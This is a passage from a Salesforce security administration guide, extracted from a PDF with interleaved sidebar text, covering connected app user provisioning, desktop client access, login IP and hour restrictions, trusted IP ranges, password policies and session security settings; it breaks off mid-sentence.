Customize Application AND either
Modify All Data OR Manage Connected Apps

To install and uninstall packaged connected Customize Application AND either
apps:
Modify All Data OR Manage Connected Apps
AND Download AppExchange Packages

Connected Apps can be
created in: Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions
Connected Apps can be
installed in: All Editions

Salesforce Security Guide

Elements of User Authentication

A connected app integrates an application with Salesforce using APIs. Connected apps use standard SAML and OAuth protocols to
authenticate, provide single sign-on, and provide tokens for use with Salesforce APIs. In addition to standard OAuth capabilities, connected
apps allow Salesforce admins to set various security policies and have explicit control over who can use the corresponding apps.
IN THIS SECTION:
User Provisioning for Connected Apps
A connected app links your users with a third-party app. User provisioning for a connected app simplifies account creation and links
your Salesforce users’ accounts to their third-party accounts. After the accounts are linked, you can configure the App Launcher to
display the connected app as a tile. With a single click, users get instant access to the third-party app.

User Provisioning for Connected Apps
A connected app links your users with a third-party app. User provisioning for a connected app simplifies account creation and links
your Salesforce users’ accounts to their third-party accounts. After the accounts are linked, you can configure the App Launcher to display
the connected app as a tile. With a single click, users get instant access to the third-party app.
Here’s a user provisioning scenario. You configure user provisioning for a G Suite connected app in your org. Then you assign the
Employees profile to that connected app. When you create a user in your org and assign the user to the Employees profile, the user is
provisioned in G Suite. When the user is deactivated, or the profile assignment changes, the user is deprovisioned from G Suite.
User provisioning applies only to users with a profile or permission set that grants them access to the connected app.
Salesforce provides a wizard to guide you through the user provisioning settings for each connected app. You can also run reports to
see who has access to specific third-party apps. These reports give you a centralized view of all user accounts across all connected apps.

User Provisioning Requests
After you configure user provisioning, Salesforce manages requests for updates on the third-party system. Salesforce sends user provisioning
requests to the third-party system based on specific events in your org, either through the UI or API calls. This table shows the events
that trigger user provisioning requests and their associated operations.
Event

Operation

Object

Create user

Create

User

Update user (for selected attributes)

Update

User

Disable user

Deactivate

User

Enable user

Activate

User

Freeze user

Freeze

UserLogin

Unfreeze user

Unfreeze

UserLogin

Reactivate user

Reactivate

User

Change user profile

Create or Deactivate

User

Assign or unassign a permission set to a user Create or Deactivate

PermissionSetAssignment

Assign or unassign a profile to the
connected app

SetupEntityAccess

Create or Deactivate

Salesforce Security Guide

Event

Elements of User Authentication

Operation

Object

Assign or unassign a permission set to the Create or Deactivate
connected app

SetupEntityAccess

The operation value is stored in the UserProvisioningRequest object. Salesforce can either process the request immediately or wait for
an approval process to complete (if you requested approvals when running the wizard). To process the request, Salesforce uses a flow
of the type User Provisioning, which includes a reference to the Apex UserProvisioningPlugin class. The flow calls
the third-party service’s API to manage user account provisioning on that system.
To send user provisioning requests based on events in Active Directory (AD), use Salesforce Identity Connect to capture AD events, and
synchronize them into Salesforce. Then, Salesforce sends the user provisioning requests to the third-party system to provision or
deprovision users.

Considerations
Entitlements
The roles and permissions for the service provider can’t be managed or stored in the Salesforce org. So specific entitlements to
resources at the service provider aren’t included when a user requests access to a third-party app that has user provisioning enabled.
With user provisioning, you can create a user account for a service provider. However, the service provider must manage any additional
roles or permissions for the user.
Scheduled account reconciliation
Run the User Provisioning wizard each time you want to collect and analyze users in the third-party system. You can’t configure an
interval for an automatic collection and analysis.
Access recertification
After an account is created for the user, validation of the user’s access to resources at the service provider must be performed at the
service provider.

Desktop Client Access
Connect Offline and Connect for Office are desktop clients that integrate Salesforce with your PC.
As an administrator, you can control which desktop clients your users can access as well as whether
users are automatically notified when updates are available.
To set permissions for Salesforce for Outlook, use the “Manage Email Client Configurations”
permission.
You can set users' access to desktop client by editing their profiles.
The desktop client access options are:
Option

Meaning

Off (access denied)

The respective client download page in users’ personal
settings is hidden. Also, users can't log in from the client.

On, no updates

The respective client download page in users’ personal
settings is hidden. Users can log in from the client but
can't upgrade it from their current version.

EDITIONS
Connect Offline available in:
Salesforce Classic
Connect Offline available in:
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions
Connect for Office available
in: both Salesforce Classic
and Lightning Experience
Connect for Office available
in: All Editions except
Database.com

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Elements of User Authentication

Option

Meaning

On, updates w/o alerts

Users can download, log in from, and upgrade the client, but don't see alerts
when a new version is made available.

On, updates w/alerts

Users can download, log in from, and upgrade the client. They can see update
alerts, and can follow or ignore them.

On, must update w/alerts

Users can download, log in from, and upgrade the client. When a new version
is available, they can see an update alert. They can't log in from the client until
they have upgraded it.

Connect Offline is the only client available with Developer Edition. In Personal, Group, and Professional Editions, all users have the system
default “On, updates w/o alerts” for all clients.
Note:
• Desktop client access is available only for users whose profiles have the “API Enabled” permission.
If users can see alerts and they have logged in to Salesforce from the client in the past, an alert banner automatically appears in the
Home tab when a new version is available. Clicking the banner opens the Check for Updates page, where users can download and run
installer files. From their personal settings, users can also access the Check for Updates page, regardless of whether an alert has occurred.
IN THIS SECTION:
Desktop Client Access in the Enhanced Profile User Interface
To make updates to your desktop client access settings, use the enhanced profile user interface. For example, change Connect for
Outlook alert settings from here.
View and Edit Desktop Client Access in the Original Profile User Interface

Salesforce Security Guide

Elements of User Authentication

Desktop Client Access in the Enhanced Profile User Interface
To make updates to your desktop client access settings, use the enhanced profile user interface.
For example, change Connect for Outlook alert settings from here.

EDITIONS

Connect Offline and Connect for Office are desktop clients that integrate Salesforce with your PC.
As an administrator, you can control which desktop clients your users can access as well as whether
users are automatically notified when updates are available.

Available in: Salesforce
Classic (not available in all
orgs)

Note: To access desktop clients, users must also have the “API Enabled” permission.

Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

On the Desktop Client Access page in the enhanced profile user interface, you can:
• Search for an object, permission, or setting

USER PERMISSIONS

• Clone the profile
• Delete custom profile

To view desktop client
access settings:
• View Setup and
Configuration

• Change the profile name or description
• Go to the profile overview page
• Switch to a different settings page

To edit desktop client access
settings:
• Manage Profiles and
Permission Sets

Salesforce Security Guide

Configure User Authentication

View and Edit Desktop Client Access in the Original Profile User Interface
Connect Offline and Connect for Office are desktop clients that integrate Salesforce with your PC.
As an administrator, you can control which desktop clients your users can access as well as whether
users are automatically notified when updates are available.
Note: To access desktop clients, users must also have the “API Enabled” permission.
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Click Edit next to a profile name, and scroll to the Desktop Integration Clients section at the
bottom of the page.

Configure User Authentication
Choose login settings to ensure that your users are who they say they are.
IN THIS SECTION:
Restrict Where and When Users Can Log In to Salesforce
You can restrict the hours during which users can log in and the range of IP addresses from
which they can log in and access Salesforce. If IP address restrictions are defined for a user’s
profile and a login originates from an unknown IP address, Salesforce does not allow the login.
These restrictions help protect your data from unauthorized access and phishing attacks.
Set Password Policies
Improve your Salesforce org security with password protection. You can set password history,
length, and complexity requirements. You can also specify what to do when a user forgets the
password.
Expire Passwords for All Users
As an administrator, you can expire passwords for all users any time you want to enforce extra
security for your organization. After expiring passwords, all users are prompted to reset their
password the next time they log in.

Connect for Office available
in: All Editions except
Database.com

USER PERMISSIONS
To view desktop client
access settings:
• View Setup and
Configuration
To edit desktop client access
settings:
• Manage Profiles and
Permission Sets

Modify Session Security Settings
You can modify session security settings to specify the session connection type, timeout restrictions, and IP address ranges to protect
against malicious attacks and more.
Configure When Users Are Prompted to Verify Identity
You can control how and when users are prompted to verify their identity.
Require High-Assurance Session Security for Sensitive Operations
To secure different setup areas in your org, require a high-assurance level of security for sensitive operations, like accessing reports
and managing IP addresses. You can also block users from accessing these setup areas.
Create a Login Flow
A login flow directs users through a login process before they access your Salesforce org or community. You can use a login flow to
control the business processes that your users follow when they log in to Salesforce. After Salesforce authenticates a user, the login
flow directs the user through a process, such as enforcing strong authentication or collecting user information. When users complete
the login flow successfully, they are redirected to their Salesforce org or community. If unsuccessful, the flow can log out users
immediately.

Salesforce Security Guide

Configure User Authentication

Set Up a Login Flow and Connect to Profiles
After you create a flow using the Cloud Flow Designer or Visualforce, you designate it as a login flow and then associate it with user
profiles. When users with an associated profile log in, they’re directed to the login flow.
Login Flow Examples
You can use a login flow to customize the login experience and integrate business processes with Salesforce authentication. Common
uses cases include collecting and updating user data at login, configuring two-factor authentication, or integrating third-party strong
authentication methods.
Set Up Two-Factor Authentication
Two-factor authentication is the most effective way to protect your org’s user accounts. Admins enable two-factor authentication
through permissions or profile settings. Users register for two-factor authentication through their own personal settings, using
secondary authenticators such as mobile authenticator apps or U2F security keys.
Deploy Third-Party SMS-Based Two-Factor Authentication
Two-factor authentication (2FA) enhances security when validating a user’s identity and protects access to your Salesforce org. In
addition to a password, SMS-based 2FA requires the user to provide a one-time password (OTP) code received on a mobile device.
Limit the Number of Concurrent Sessions with Login Flows
You can use a login flow to restrict the number of simultaneous Salesforce sessions per user.

Restrict Where and When Users Can Log In to Salesforce
You can restrict the hours during which users can log in and the range of IP addresses from which they can log in and access Salesforce.
If IP address restrictions are defined for a user’s profile and a login originates from an unknown IP address, Salesforce does not allow the
login. These restrictions help protect your data from unauthorized access and phishing attacks.

Login Hours
For each profile, you can set the hours when users can log in. See:
• View and Edit Login Hours in the Enhanced Profile User Interface
• View and Edit Login Hours in the Original Profile User Interface

Two-Factor Authentication for User Interface Logins
For each profile, you can require users to use a second form of authentication when they log in via the user interface. See Set Two-Factor
Authentication Login Requirements on page 56 and Set Two-Factor Authentication Login Requirements and Custom Policies for Single
Sign-On, Social Sign-On, and Communities.

Two-Factor Authentication for API Logins
For each profile, you can require a verification code (also called a time-based one-time password, or TOTP) instead of the standard
security token. Users connect an authenticator app that generates verification codes to their account. Users with the “Two-Factor
Authentication for API Logins” permission use a code instead of the standard security token whenever it’s requested, such as when
resetting the account’s password. See Set Two-Factor Authentication Login Requirements for API Access on page 58.

Login IP Address Ranges
For Enterprise, Performance, Unlimited, Developer, and Database.com editions, you can set the Login IP Range addresses from which
users can log in on an individual profile. Users outside of the Login IP Range set on a profile can’t access your Salesforce org.

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Configure User Authentication

For Contact Manager, Group, and Professional Editions, set the Login IP Range. From Setup, enter Session Settings in the
Quick Find box, then select Session Settings.

Login IP Address Range Enforcement for All Access Requests
You can restrict all access to Salesforce to the IP addresses included in Login IP Ranges in users’ profiles. For example, suppose a user
logs in successfully from an IP address defined in Login IP Ranges. The user then moves to a different location and has a new IP address
that is outside of Login IP Ranges. When the user refreshes the browser or tries to access Salesforce, including access from a client
application, the user is denied. To enable this option, from Setup, enter Session Settings in the Quick Find box, select
Session Settings, and then select Enforce login IP ranges on every request. This option affects all user profiles that have login IP
restrictions.

Org-wide Trusted IP Ranges
For all users, you can set a list of IP address ranges from which they can always log in without receiving a login challenge. These users
can log in to your org after they provide the additional verification. See Set Trusted IP Ranges for Your Organization.
When users log in to Salesforce via the user interface, the API, or a desktop client such as Salesforce for Outlook, Connect Offline, Connect
for Office, or the Data Loader, Salesforce confirms that the login is authorized as follows.
1. Salesforce checks whether the user’s profile has login hour restrictions. If login hour restrictions are specified for the user’s profile,
any login outside the specified hours is denied.
2. If the user has the “Two-Factor Authentication for User Interface Logins” permission, Salesforce prompts the user for a second form
of authentication upon logging in. If the user’s account isn’t already connected to a mobile authenticator app such as Salesforce
Authenticator, Salesforce first prompts the user to connect the app.
3. If the user has the “Two-Factor Authentication for API Logins” permission and has connected an authenticator app to the account,
Salesforce returns an error if the user uses the standard security token. The user has to enter a verification code (time-based one-time
password) generated by the authenticator app instead.
4. Salesforce then checks whether the user’s profile has IP address restrictions. If IP address restrictions are defined for the user’s profile,
logins from an undesignated IP address are denied, and logins from a specified IP address are allowed. If the Enforce login IP ranges
on every request session setting is enabled, the IP address restrictions are enforced for each page request, including requests from
client applications.
5. If profile-based IP address restrictions are not set, Salesforce checks whether the user is logging in from a device used to access
Salesforce before.
• If the user’s login is from a device and browser that Salesforce recognizes, the login is allowed.
• If the user’s login is from an IP address in your org’s trusted IP address list, the login is allowed.
• If the user’s login is not from a trusted IP address or a device and browser Salesforce recognizes, the login is blocked.
Whenever a login is blocked or returns an API login fault, Salesforce has to verify the user’s identity:
• For access via the user interface, the user is prompted to verify using Salesforce Authenticator (version 2 or later), or to enter a
verification code.
Note: Users aren’t asked for a verification code the first time they log in to Salesforce.
• For access via the API or a client, users must add their security token to the end of their password to log in. Or, if “Two-Factor
Authentication on API Logins” is set on the user profile, users enter a verification code generated by an authenticator app.
A security token is an automatically generated key from Salesforce. For example, if a user’s password is mypassword, and the
security token is XXXXXXXXXX, the user must enter mypasswordXXXXXXXXXX to log in. Or some client applications have a
separate field for the security token.

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Configure User Authentication

Users can obtain their security token by changing their password or resetting their security token via the Salesforce user interface.
When a user changes a password or resets a security token, Salesforce sends a new security token to the email address on the user’s
Salesforce record. The security token is valid until the user resets the security token, changes a password, or has a password reset.
Tip: Before you access Salesforce from a new IP address, we recommend that you get your security token from a trusted
network using Reset My Security Token.

Tips on Setting Login Restrictions
Consider the following when setting login restrictions.
• When a user’s password is changed, the security token is reset. Log in via the API or a client can be blocked until the user adds the
automatically generated security token to the end of the password.
• Partner Portal and Customer Portal users aren’t required to activate their browser to log in.
• For more information on API login faults, see the Core Data Types Used in API Calls topic in the SOAP API Developer Guide.
• If single sign-on (SSO) is enabled for your org, API and desktop client users can log in to Salesforce unless their profile has IP address
restrictions set and they try to log in from outside of the range defined. Also the SSO authority usually handles login lockout policies
for users with the “Is Single Sign-On Enabled” permission. However, if the security token is enabled for your org, your org’s login
lockout settings determine how many times users can attempt to log in with an invalid security token before being locked out of
Salesforce.
• These events count toward the number of times users can attempt to log in with an invalid password before getting locked out of
Salesforce, as defined in your org’s login lockout settings.
– Each time users are prompted to verify identity
– Each time users incorrectly add the security token or verification code to the end of their password to log in to Salesforcevia the
API or a client

IN THIS SECTION:
Restrict Login IP Ranges in the Enhanced Profile User Interface
Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile. When you define IP address
restrictions for a profile, a login from any other IP address is denied.
Restrict Login IP Addresses in the Original Profile User Interface
Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile. When you define IP address
restrictions for a profile, a login from any other IP address is denied.
View and Edit Login Hours in the Enhanced Profile User Interface
For each profile, you can specify the hours when users can log in.
View and Edit Login Hours in the Original Profile User Interface
Specify the hours when users can log in based on the user profile.
Set Trusted IP Ranges for Your Organization
Trusted IP Ranges define a list of IP addresses from which users can log in without receiving a login challenge for verification of their
identity, such as a code sent to their mobile phone.

Salesforce Security Guide

Configure User Authentication

Restrict Login IP Ranges in the Enhanced Profile User Interface
Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile.
When you define IP address restrictions for a profile, a login from any other IP address is denied.

EDITIONS

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

2. Select a profile and click its name.
3. In the profile overview page, click Login IP Ranges.
4. Specify allowed IP addresses for the profile.
• To add a range of IP addresses from which users can log in, click Add IP Ranges. Enter a
valid IP address in the IP Start Address and a higher-numbered IP address in the
IP End Address field. To allow logins from only a single IP address, enter the same
address in both fields.
• To edit or remove ranges, click Edit or Delete for that range.
Important:
• The IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist
in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff,
where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is
255.255.255.255. A range can’t include IP addresses both inside and outside
of the IPv4-mapped IPv6 address space. Ranges like 255.255.255.255 to
::1:0:0:0 or :: to ::1:0:0:0 aren’t allowed.
• Partner User profiles are limited to five IP addresses. To increase this limit, contact
Salesforce.
5. Optionally enter a description for the range. If you maintain multiple ranges, use the Description
field to provide details, like which part of your network corresponds to this range.

Available in: Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions
Custom Profiles available in:
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To view login IP ranges:
• View Setup and
Configuration
To edit and delete login IP
ranges:
• Manage Profiles and
Permission Sets

Note: You can further restrict access to Salesforce to only those IPs in Login IP Ranges. To enable this option, in Setup, enter
Session Settings in the Quick Find box, then select Session Settings and select Enforce login IP ranges on every
request. This option affects all user profiles that have login IP restrictions.

Salesforce Security Guide

Configure User Authentication

Restrict Login IP Addresses in the Original Profile User Interface
Control login access at the user level by specifying a range of allowed IP addresses on a user’s profile.
When you define IP address restrictions for a profile, a login from any other IP address is denied.

EDITIONS

1. How you restrict the range of valid IP addresses on a profile depends on your Salesforce edition.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience

• If you’re using an Enterprise, Unlimited, Performance, or Developer Edition, from Setup,
enter Profiles in the Quick Find box, then select Profiles, and select a profile.
• If you’re using a Group, or Personal Edition, from Setup, enter Session Settings in
the Quick Find box, then select Session Settings.

Available in: All Editions

• In a Professional Edition, the location of IP ranges depends on whether you have the "Edit
Profiles & Page Layouts" org preference enabled as an add-on feature.

USER PERMISSIONS

With the "Edit Profiles & Page Layouts" org preference enabled, IP ranges are on individual
profiles.
Without the "Edit Profiles & Page Layouts" org preference enabled, IP ranges are on the
Session Settings page.
2. Click New in the Login IP Ranges related list.
3. Enter a valid IP address in the IP Start Address field and a higher-numbered IP address
in the IP End Address field.

To view login IP ranges:
• View Setup and
Configuration
To edit and delete login IP
ranges:
• Manage Profiles and
Permission Sets

The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from a single IP
address, enter the same address in both fields.
• The IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space
::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is
255.255.255.255. A range can’t include IP addresses both inside and outside of the IPv4-mapped IPv6 address space.
Ranges like 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 aren’t allowed.
• Partner User profiles are limited to five IP addresses. To increase this limit, contact Salesforce.
4. Optionally enter a description for the range. If you maintain multiple ranges, use the Description field to provide details, such as
which part of your network corresponds to this range.
5. Click Save.
Note: Cache settings on static resources are set to private when accessed via a Salesforce Site whose guest user's profile has
restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within the browser.
Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce
cache and any intermediate caches.
Note: You can further restrict access to Salesforce to only those IPs in Login IP Ranges. To enable this option, in Setup, enter
Session Settings in the Quick Find box, then select Session Settings and select Enforce login IP ranges on every
request. This option affects all user profiles that have login IP restrictions.

Salesforce Security Guide

Configure User Authentication

View and Edit Login Hours in the Enhanced Profile User Interface
For each profile, you can specify the hours when users can log in.

EDITIONS

1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile and click its name.
3. In the profile overview page, scroll down to Login Hours and click Edit.
4. Set the days and hours when users with this profile can log in to the organization.
To allow users to log in at any time, click Clear all times. To prohibit users from using the
system on a specific day, set the start and end times to the same value.
If users are logged in when their login hours end, they can continue to view their current page,
but they can’t take any further action.
Note: The first time login hours are set for a profile, the hours are based on the organization’s
Default Time Zone as specified on the Company Information page in Setup. After
that, any changes to the organization’s Default Time Zone won’t change the time
zone for the profile’s login hours. As a result, the login hours are always applied at those exact
times even if a user is in a different time zone or if the organization’s default time zone is
changed.
Depending on whether you’re viewing or editing login hours, the hours may appear differently.
On the Login Hours edit page, hours are shown in your specified time zone. On the profile
overview page, they appear in the organization’s original default time zone.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions
Custom Profiles available in:
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To view login hour settings:
• View Setup and
Configuration
To edit login hour settings:
• Manage Profiles and
Permission Sets

View and Edit Login Hours in the Original Profile User Interface
Specify the hours when users can log in based on the user profile.

EDITIONS

1. From Setup, enter Profiles in the Quick Find box, then select Profiles, and select a
profile.
2. Click Edit in the Login Hours related list.
3. Set the days and hours when users with this profile can use the system.
To allow users to log in at any time, click Clear All Times. To prohibit users from using the
system on a specific day, set the start and end times to the same value.
If users are logged in when their login hours end, they can continue to view their current page,
but they can’t take any further action.
4. Click Save.

Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

USER PERMISSIONS
To set login hours:
• Manage Profiles and
Permission Sets

Salesforce Security Guide

Configure User Authentication

Note: The first time login hours are set for a profile, the hours are based on the organization’s Default Time Zone as
specified on the Company Information page in Setup. After that, any changes to the organization’s Default Time Zone
won’t change the time zone for the profile’s login hours. As a result, the login hours are always applied at those exact times even
if a user is in a different time zone or if the organization’s default time zone is changed.
Depending on whether you’re viewing or editing login hours, the hours appear differently. On the profile detail page, hours are
shown in your specified time zone. On the Login Hours edit page, they appear in the organization’s default time zone.

Set Trusted IP Ranges for Your Organization
Trusted IP Ranges define a list of IP addresses from which users can log in without receiving a login
challenge for verification of their identity, such as a code sent to their mobile phone.
Note:

Who Sees What: Organization Access (English only)

Watch how you can restrict login through IP ranges and login hours.
To help protect your organization’s data from unauthorized access, you can specify a list of IP
addresses from which users can log in without receiving a login challenge. However, this does not
restrict access, entirely, for users outside of the Trusted IP Range. After these users complete the
login challenge (usually by entering a code sent to their mobile device or email address), they can
log in.
1. From Setup, enter Network Access in the Quick Find box, then select Network
Access.

EDITIONS
Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: All Editions

USER PERMISSIONS
To change network access:
• Manage IP Addresses

2. Click New.
3. Enter a valid IP address in the Start IP Address field and a higher IP address in the End IP Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in, including the start and end
values. If you want to allow logins from a single IP address, enter the same address in both fields.
The start and end IP addresses must be in an IPv4 range and include no more than 33,554,432 addresses (225, a /7 CIDR block).
4. Optionally, enter a description for the range. For example, if you maintain multiple ranges, enter details about the part of your network
that corresponds to this range.
5. Click Save.
Note: For organizations that were activated before December 2007, Salesforce automatically populated your organization’s
trusted IP address list in December 2007, when this feature was introduced. The IP addresses from which trusted users had already
accessed Salesforce during the past six months were added.

Salesforce Security Guide

Configure User Authentication

Set Password Policies
Improve your Salesforce org security with password protection. You can set password history,
length, and complexity requirements. You can also specify what to do when a user forgets the
password.
You can set different password and login policies based on the type of user.
Note: User passwords cannot exceed 16,000 bytes.
Logins are limited to 3,600 per hour per user. This limit applies to organizations created after
Summer ’08.
1. From Setup, enter Password Policies in the Quick Find box, then select Password
Policies.
2. Customize the password settings.
Field

Description

User passwords expire in

The length of time until a user password
expires and must be changed. The default is
90 days. This setting isn’t available for
Self-Service portals. This setting doesn’t apply
to users with the Password Never Expires
permission.

EDITIONS
Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Contact
Manager, Essentials,
Group, Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

USER PERMISSIONS

When you change the User passwords
expire in setting and the new expiration
date is earlier than a user’s previous expiration
date, the change affects the user’s password
expiration date. To remove an expiration date,
select Never expires.
Enforce password history

Save users’ previous passwords so that they
must use a new, unique password when
changing passwords. Password history is not
saved until you set this value. The default is 3
passwords remembered. You cannot
select No passwords remembered
unless you select Never expires for the
User passwords expire in field.
This setting isn’t available for Self-Service
portals.

Minimum password length

The minimum number of characters required
for a password. When you set this value,
existing users aren’t affected until the next
time they change their passwords. The default
is 8 characters.

To set password policies:
• Manage Password
Policies

Salesforce Security Guide

Configure User Authentication

Field

Description

Password complexity requirement

The types of characters that must be used in a user’s password.
• No restriction—Has no requirements and is the least
secure option.
• Must mix alpha and numeric
characters—The default setting. Requires at least one
alphabetic character and one number.
• Must mix alpha, numeric, and special
characters—Requires at least one alphabetic character,
one number, and one of the following characters: ! # $
% - _ = + < >.
• Must mix numbers and uppercase and
lowercase letters—Requires at least one number,
one uppercase letter, and one lowercase letter.
• Must mix numbers, uppercase and
lowercase letters, and special
characters—Requires at least one number, one

uppercase letter, one lowercase letter, and one of the
following characters: ! # $ % - _ = + < >.
Note: Only the characters listed meet the requirement.
Other symbol characters are not considered special
characters.
Password question requirement

Choose Cannot contain password to restrict the
answer to the password hint question from containing the
password itself. Choose None, the default, for no restrictions on
the answer. The user must provide an answer to the password
hint question. This setting is not available for Self-Service portals,
Customer Portals, or partner portals.

Maximum invalid login attempts

The number of login failures allowed for a user before the user
is locked out. This setting isn’t available for Self-Service portals.

Lockout effective period

The duration of the login lockout. The default is 15 minutes. This
setting isn’t available for Self-Service portals.
When a user is logged in to an active session but is later locked
out, the user remains logged in to the active session.
Note: A locked-out user must wait until the lockout
period expires. Alternatively, a user with the Reset User
Passwords and Unlock Users permission can unlock a user
from Setup.
a. Enter Users in the Quick Find box.
b. Select Users.
c. Select the user, and click Unlock.

Salesforce Security Guide

Configure User Authentication

Field

Description
This button is available only when a user is locked
out.

Obscure secret answer for password resets Hide answers to security questions as the user types. The default

is to show the answer in plain text.
Note: If your org uses the Microsoft Input Method Editor
(IME) with the input mode set to Hiragana, when you type
ASCII characters, they’re converted in to Japanese
characters in normal text fields. However, the IME doesn’t
work properly in fields with obscured text. If your org’s
users cannot properly enter their passwords or other
values after enabling this feature, disable the feature.
Require a minimum 1 day password lifetime A password can’t be changed more than once in a 24-hour

period.
When selected, apps can use the setPassword() API to
change the current user’s password to a specific value. Deselect
this option for increased security. When deselected, apps must
use the changeOwnPassword() API to prompt users to
set their password value. The changeOwnPassword() API
verifies the user’s current password before allowing the change.
When you deselect this option, you can’t select it again.

Allow use of setPassword() API for
self-resets

3. Customize the forgotten password and locked account assistance information.
Note: This setting is not available for Self-Service portals, Customer Portals, or partner portals.
Field

Description

Message

If set, the message you enter appears in the “We can’t reset your
password” email. Users receive this email when they lock
themselves out by trying to reset their password too many times.
The text also appears at the bottom of the Answer Your Security
Question page when users reset their passwords.
You can add the name of your internal help desk or a system
administrator to the default text. The message appears only for
accounts that need an administrator to reset the password.
Lockouts due to time restrictions get a different system email
message.
If set, this link displays along with the text defined in the
Message field. In the “We can’t reset your password” email,
the URL displays exactly as typed in the Help link field, so

Help link

Salesforce Security Guide

Configure User Authentication

Field

Description
the user can see where the link goes. This URL display format is
for security because the user is not within a Salesforce org.
On the Answer Your Security Question page, the Help link
URL combines with the text in the Message field and forms a
clickable link. Security isn’t an issue because the user is in a
Salesforce org when changing passwords.
Valid protocols are:
• http
• https
• mailto

4. Specify an alternative home page for users with the API Only User permission. After completing user management tasks such as
resetting a password, API-only users are redirected to the specified URL rather than to the login page.
5. Click Save.

Expire Passwords for All Users
As an administrator, you can expire passwords for all users any time you want to enforce extra
security for your organization. After expiring passwords, all users are prompted to reset their password
the next time they log in.
To expire passwords for all users, except those users with the “Password Never Expires” permission:
1. From Setup, enter Expire All Passwords in the Quick Find box, then select
Expire All Passwords.

EDITIONS
Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience

The next time users log in, they are prompted to reset their password.

Available in: Professional,
Enterprise, Performance,
Unlimited, Developer, and
Database.com Editions

Considerations When Expiring Passwords

USER PERMISSIONS

• Users might need to activate their computers to log in to Salesforce.

To expire all passwords:
• Reset User Passwords
and Unlock Users

2. Select Expire all user passwords.
3. Click Save.

• Expire all user passwords doesn’t affect Self-Service portal users, because they
aren’t direct Salesforce users.

Salesforce Security Guide

Configure User Authentication

EDITIONS

1. From Setup, enter Session Settings in the Quick Find box, then select Session Settings.

Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience

2. Customize the session security settings.
Note: Identity verification settings are also available on the Identity Verification page on
page 39. You can change identity verification settings in either location.
Field

Description

Timeout value

Length of time after which the system logs out inactive
users. For Portal users, the timeout is between 10
minutes and 24 hours even though you can only set it
as low as 15 minutes. Select a value between 15 minutes
and 24 hours. Choose a shorter timeout period if your
org has sensitive information and you want to enforce
stricter security.
Note: The last active session time value isn’t
updated until halfway through the timeout
period. So if you have a 30-minute timeout, the
system doesn’t check for activity until 15 minutes
have passed. For example, if you update a record
after 10 minutes, the last active session time
value isn’t updated because there was no activity
after 15 minutes. You’re logged out in 20 more
minutes (30 minutes total), because the last
active session time wasn’t updated. Suppose
that you update a record after 20 minutes. That’s
5 minutes after the last active session time is
checked. Your timeout resets, and you have
another 30 minutes before being logged out,
for a total of 50 minutes.

Disable session timeout warning
popup

Determines whether the system prompts inactive users
with a timeout warning message. Users are prompted
30 seconds before timeout as specified by the Timeout
value.

Force logout on session timeout

Requires that when sessions time out for inactive users,
current sessions become invalid. The browser refreshes
and returns to the login page. To access the org, the
user must log in again.
Note: Do not select Disable session timeout
warning popup when using this setting.

Lock sessions to the IP address from Determines whether user sessions are locked to the IP
which they originated
address from which the user logged in, helping to

The Lock sessions to the IP
address from which they
originated setting is
available in: Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions
All other settings available
in: Essentials, Personal,
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

USER PERMISSIONS
To modify session security
settings:
• Customize Application

Salesforce Security Guide

Field

Configure User Authentication

Description
prevent unauthorized persons from hijacking a valid session.
Note: This setting can inhibit various applications and mobile devices.

Lock sessions to the domain in which they were
first used

Associates a current UI session for a user, such as a community user, with a
specific domain. The setting helps prevent unauthorized use of the session
ID in another domain. This setting is enabled by default for orgs created with
the Spring ’15 release or later.

Require secure connections (HTTPS)

Determines whether HTTPS is required to log in to or access Salesforce.
This setting is enabled by default for security reasons. This setting does not
apply to API requests. All API requests require HTTPS.
To enable HTTPS on communities and Salesforce Sites, see HSTS for Sites and
Communities.
Note: The Reset Passwords for Your Users page can only be accessed
using HTTPS.

Require secure connections (HTTPS) for all
third-party domains

Determines whether HTTPS is required for connecting to third-party domains.

Force relogin after Login-As-User

Determines whether an administrator who is logged in as another user is
returned to their previous session after logging out as the secondary user.

This setting is enabled by default on accounts created after the Summer ’17
release.

If the setting is enabled, an administrator must log in again to continue using
Salesforce after logging out as the user. Otherwise, the administrator is returned
to the original session after logging out as the user. This setting is enabled by
default for all orgs.
Require HttpOnly attribute

Restricts session ID cookie access. A cookie with the HttpOnly attribute is not
